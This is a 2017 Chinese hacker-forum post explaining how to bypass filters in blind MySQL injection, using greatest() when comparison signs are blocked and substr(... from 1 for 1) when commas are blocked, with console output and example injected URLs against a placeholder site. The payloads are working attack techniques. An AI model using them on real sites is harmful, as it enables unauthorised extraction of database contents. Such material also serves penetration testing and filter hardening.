搜索
查看: 510|回复: 0

MySQL注射的过滤绕过技巧[1]

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2017-5-8 21:17:46 | 显示全部楼层 |阅读模式
sql注射的绕过技巧较多,此文仅做一些简单的总结。
前文已经提到,最好利用的注射点:
  • 支持Union
  • 可报错
  • 支持多行执行、可执行系统命令、可HTTP Request等额外有利条件
若非以上类型,则可能需要暴力猜解。猜解时,可能会遇到一些限制。攻击者要做的,就是将其个个击破。
1. 通过greatest函数绕过不能使用大小于符号的情况
猜解单个字符时,通常使用折半查找。
  1. mysql> select ascii(mid(user(),1,1)) < 150;
  2. +------------------------------+
  3. | ascii(mid(user(),1,1)) < 150 |
  4. +------------------------------+
  5. |                            1 |
  6. +------------------------------+
复制代码
以上是判断user()第一个字符的ascii码是否小于150. 若小于150,返回true(1),否则返回false(0)。 可以看到,需要使用到大小于符号。
比如,对于一个boolean based注入。尝试:
http://xxx.com/index.php?id=1 and ascii(mid(user(),1,1)) < 150
http://xxx.com/index.php?id=1 and ascii(mid(user(),1,1)) >= 150
上述两个页面返回的内容应该是不同的。
但问题是,有些情形下,我们是不能使用大小于符号的(<>),被过滤了。
此时,可以通过greatest函数绕过。greatest(a,b),返回a和b中较大的那个数。
当我们要猜解user()第一个字符的ascii码是否小于等于150时,可使用:
  1. mysql> select greatest(ascii(mid(user(),1,1)),150)=150;
  2. +------------------------------------------+
  3. | greatest(ascii(mid(user(),1,1)),150)=150 |
  4. +------------------------------------------+
  5. |                                        1 |
  6. +------------------------------------------+
复制代码
如果小于150,则上述返回值为True。
2. 通过substr函数绕过不能使用逗号的情况
不能使用逗号的情况较少,往往是因为逗号有某些特殊的作用,被单独处理了。
通常,猜解都是要用到逗号的,因为需要mid函数取字符呐:
  1. ascii(mid(user(),1,1))=150
复制代码
绕过的方法是使用from x for y。语法类似:
  1. mid(user() from 1 for 1)

  2. substr(user() from 1 for 1)
复制代码
以上同样是从第一个字符开始,取一位字符。
那么,不带逗号注入的语法,就可以变成:
  1. mysql> select ascii(substr(user() from 1 for 1)) < 150;
  2. +------------------------------------------+
  3. | ascii(substr(user() from 1 for 1)) < 150 |
  4. +------------------------------------------+
  5. |                                        1 |
  6. +------------------------------------------+
复制代码
是不是跟mid函数的效果是一样的,又没有用到逗号。

过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表